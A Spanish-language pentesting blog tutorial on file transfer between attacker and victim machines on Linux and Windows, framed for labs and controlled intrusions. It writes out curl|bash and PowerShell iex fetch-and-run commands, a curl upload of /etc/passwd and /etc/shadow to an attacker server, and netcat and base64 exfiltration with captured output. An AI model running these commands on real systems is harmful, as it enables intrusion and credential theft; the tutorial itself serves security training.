Transferencia de archivos en Linux y Windows
¡Qué tal hackers! Bienvenidos a un nuevo artículo.
Hoy vamos a meternos de lleno en algo súper común en cualquier lab o pentest: las distintas formas de mover archivos entre Linux y Windows.
Vamos a ver utilidades, comandos y métodos que te van a servir tanto para exfiltrar info como para subir herramientas durante una intrusión controlada.
Linux - Operaciones de Descarga
Codificación/Decodificación Base64
Máquina atacante
En este caso, lo que haremos será convertir en base 64 el contenido del archivo test.txt.
cat test.txt | base64 -w 0; echo
SGVsbG8gV29ybGQhCg==
Máquina víctima
En la máquina víctima relizamos la decodificación de la cadena en base 64 y la guardamos en un archivo con el nombre test.txt.
echo "SGVsbG8gV29ybGQhCg==" | base64 -d > test.txt
Descargas web con Wget y cURL
Dos de las utilidades más comunes en las distribuciones de Linux para interactuar con aplicaciones web son wget y curl. Estas herramientas están instaladas en muchas distribuciones de Linux.
Para descargar un archivo usando wget, necesitamos especificar la URL y la opción -O para establecer el nombre del archivo de salida.
Descargar un archivo usando wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Descargar un archivo usando cURL
cURL es muy similar a wget, pero la opción del nombre del archivo de salida es -o en minúscula.
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o /tmp/LinEnum.sh
Descarga sin archivos con cURL
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!
Descargar con Bash (/dev/tcp)
También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre que esté instalada la versión 2.04 o superior de Bash (compilada con --enable-net-redirections), el archivo de dispositivo integrado /dev/tcp se puede utilizar para descargas de archivos simples.
Máquina atacante
Creamos un servidor HTTP con Python.
python3 -m http.server 80
Máquina víctima
Nos conectamos al servidor web de destino
exec 3<>/dev/tcp/10.10.10.32/80
Realizamos la solicitud HTTP GET
echo -e "GET /test.txt HTTP/1.1\n\n">&3
Imprimimos la respuesta
cat <&3
Descargas SSH
scp elliot@192.168.1.19:/root/myroot.txt .
Web Upload
Podemos usar uploadserver , un módulo extendido de Python HTTP.Server módulo, que incluye una página de carga de archivos. Para este ejemplo de Linux, veamos cómo podemos configurar el uploadserver módulo a utilizar HTTPS para una comunicación segura.
Lo primero que debemos hacer es instalar el uploadserver módulo.
Iniciar servidor web
sudo python3 -m pip install --user uploadserver
Ahora necesitamos crear un certificado. En este ejemplo, utilizamos un certificado autofirmado.
Crear un certificado autofirmado
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
El servidor web no debe alojar el certificado. Recomendamos crear un nuevo directorio para alojar el archivo en nuestro servidor web.
Iniciar servidor web
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
Ahora desde nuestra máquina comprometida, carguemos el /etc/passwd y /etc/shadow archivos.
Máquina Víctima (Linux)
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
Usamos la opción --insecure porque utilizamos un certificado autofirmado en el que confiamos.
Netcat
Máquina atacante
nc -l -p 4444 > output.txt
Máquina victima
nc -w 3 192.168.1.10 4444 < output.txt
Método alternativo de transferencia de archivos web
Creación de un servidor web con Python3
python3 -m http.server
Creación de un servidor web con Python2.7
python2.7 -m SimpleHTTPServer
Creación de un servidor web con PHP
php -S 0.0.0.0:8000
Creación de un servidor web con Ruby
ruby -run -ehttpd . -p8000
Descargamos el archivo
wget 192.168.1.19:8000/filetotransfer.txt
Operaciones de Subida
SCP
scp /etc/passwd student@10.10.14.30:/home/student/
Windows - Operaciones de Descarga
Codificación y Decodificación PowerShell Base64
Atacante
En este caso, lo que haremos será convertir en base 64 el contenido del archivo test.txt.
cat test.txt | base64 -w 0; echo
SGVsbG8gV29ybGQhCg==
md5sum test.txt
8ddd8be4b179a529afa5f2ffae4b9858 test.txt
Máquina Víctima (Windows)
[IO.File]::WriteAllBytes("C:\temp\test.txt", [Convert]::FromBase64String("SGVsbG8gV29ybGQhCg=="))
Confirmación de la coincidencia de hashes MD5
Get-FileHash C:\temp\test.txt -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 8DDD8BE4B179A529AFA5F2FFAE4B9858 C:\temp\test.txt
System.Net.WebClient
PowerShell ofrece muchas opciones de transferencia de archivos. En cualquier versión de PowerShell, la clase System.Net.WebClient se puede utilizar para descargar un archivo HTTP, HTTPS o FTP. La siguiente tabla describe los métodos de WebClient para descargar datos de un recurso:
| Método | Descripción |
|---|---|
| OpenRead | Devuelve los datos de un recurso como Stream . |
| OpenReadAsync | Devuelve los datos de un recurso sin bloquear el hilo de llamada. |
| DownloadData | Descarga datos de un recurso y devuelve una matriz de bytes. |
| DownloadDataAsync | Descarga datos de un recurso y devuelve una matriz de bytes sin bloquear el hilo de llamada. |
| DownloadFile | Descarga datos de un recurso a un archivo local. |
| DownloadFileAsync | Descarga datos de un recurso a un archivo local sin bloquear el hilo de llamada. |
| DownloadString | Descarga una cadena de un recurso y devuelve una cadena. |
| DownloadStringAsync | Descarga una cadena de un recurso sin bloquear el hilo de llamada. |
DownloadFile
Atancate
python3 -m http.server 80
Máquina Víctima (Windows)
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFile('http://192.168.1.19/test.txt','C:\temp\test.txt')
DownloadFileAsync
Máquina Víctima (Windows)
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('http://192.168.1.19/test.txt','C:\temp\test.txt')
DownloadString
PowerShell también se puede utilizar para realizar ataques sin archivos. En lugar de descargar un script de PowerShell al disco, podemos ejecutarlo directamente en la memoria usando el cmdlet Invoke-Expression o el alias IEX.
iex (New-Object Net.WebClient).DownloadString("http://192.168.1.19/script.ps1")
IEX también acepta entrada de tubería.
(New-Object Net.WebClient).DownloadString("http://192.168.1.19/script.ps1") | iex
Invoke-WebRequest
A partir de PowerShell 3.0, el cmdlet Invoke-WebRequest también está disponible, pero es notablemente más lento a la hora de descargar archivos. Puedes usar los alias iwr, curl, y wget en lugar del nombre completo Invoke-WebRequest.
Invoke-WebRequest "http://192.168.1.19/script.ps1" -OutFile script.ps1
iex (Invoke-WebRequest "http://192.168.1.19/script.ps1" -OutFile script.ps1)
Invoke-WebRequest "http://192.168.1.19/script.ps1" -OutFile script.ps1 | iex
SMB
Máquina atacante
Creamos un servidor SMB con impacket-smbserver.
impacket-smbserver share -smb2support /tmp/smbshare
copy
copy \\192.168.220.133\share\nc.exe
Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados.
Para transferir archivos en este escenario, podemos establecer un nombre de usuario y contraseña usando nuestro servidor Impacket SMB y montar el servidor SMB en nuestra máquina de destino con Windows:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user kali -password kali
net use n: \\192.168.1.19\share /user:kali kali
FTP
Otra forma de transferir archivos es mediante FTP (Protocolo de transferencia de archivos), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.
Podemos configurar un Servidor FTP en nuestro host de ataque usando Python3 pyftpdlib módulo. Se puede instalar con el siguiente comando:
sudo pip3 install pyftpdlib
Configurar un servidor FTP Python3
sudo python3 -m pyftpdlib --port 21 -w
Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell. Net.WebClient.
(New-Object Net.WebClient).DownloadFile("ftp://192.168.1.19/test.txt", "C:\temp\test.txt")
Creamos un archivo de comando para el cliente FTP y descargamos el archivo de destino.
C:\temp> echo open 192.168.1.19 > ftpcommand.txt
C:\temp> echo USER anonymous >> ftpcommand.txt
C:\temp> echo binary >> ftpcommand.txt
C:\temp> echo GET file.txt >> ftpcommand.txt
C:\temp> echo bye >> ftpcommand.txt
C:\temp> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.1.19
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
This is a test file
Operaciones de Subida
Codificación y decodificación PowerShell Base64
Máquina Víctima (Windows)
[Convert]::ToBase64String((Get-Content -Path "C:\temp\test.txt" -Encoding byte));
SGVsbG8gV29ybGQhCg==
Máquina atacante
echo "SGVsbG8gV29ybGQhCg==" | base64 -d;echo
PowerShell Web Uploads
PowerShell no tiene una función incorporada para operaciones de carga, pero podemos usar Invoke-WebRequest o Invoke-RestMethod para construir nuestra función de carga. También necesitaremos un servidor web que acepte cargas, lo cual no es una opción predeterminada en la mayoría de las utilidades de servidor web comunes.
Para nuestro servidor web, podemos usar uploadserver , un módulo extendido del módulo HTTP.server de Python , que incluye una página de carga de archivos.
sudo pip3 install uploadserver
python3 -m uploadserver
Script de PowerShell para cargar un archivo al servidor de carga de Python
Invoke-FileUpload -Uri http://192.168.1.19:80/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell Base64 Web Upload
Otra forma de utilizar archivos codificados en PowerShell y base64 para operaciones de carga es mediante el uso Invoke-WebRequest o Invoke-RestMethod junto con Netcat. Usamos Netcat para escuchar en un puerto que especificamos y enviamos el archivo como petición POST. Finalmente, copiamos la salida y usamos la función de decodificación base64 para convertir la cadena base64 en un archivo.
PS C:\temp> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\temp> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
Captamos los datos base64 con Netcat y usamos la aplicación base64 con la opción de decodificación para convertir la cadena en el archivo.
nc -lnvp 8000
listening on [any] 8000 ...
connect to [192.168.1.19] from (UNKNOWN) [192.168.1.15] 62601
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.4111
Content-Type: application/x-www-form-urlencoded
Host: 192.168.1.19:8000
Content-Length: 1140
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQoNCjEyNy4wLjAuMSBjcnlwdG9tYXRvci12YXVsdA0K
echo <base64> | base64 -d -w 0 > hosts
De esta forma llegamos al final del post.
Espero que te haya sido de utilidad, nos vemos en el siguiente artículo.
¡Gracias por tu lectura!
¡Happy Hacking!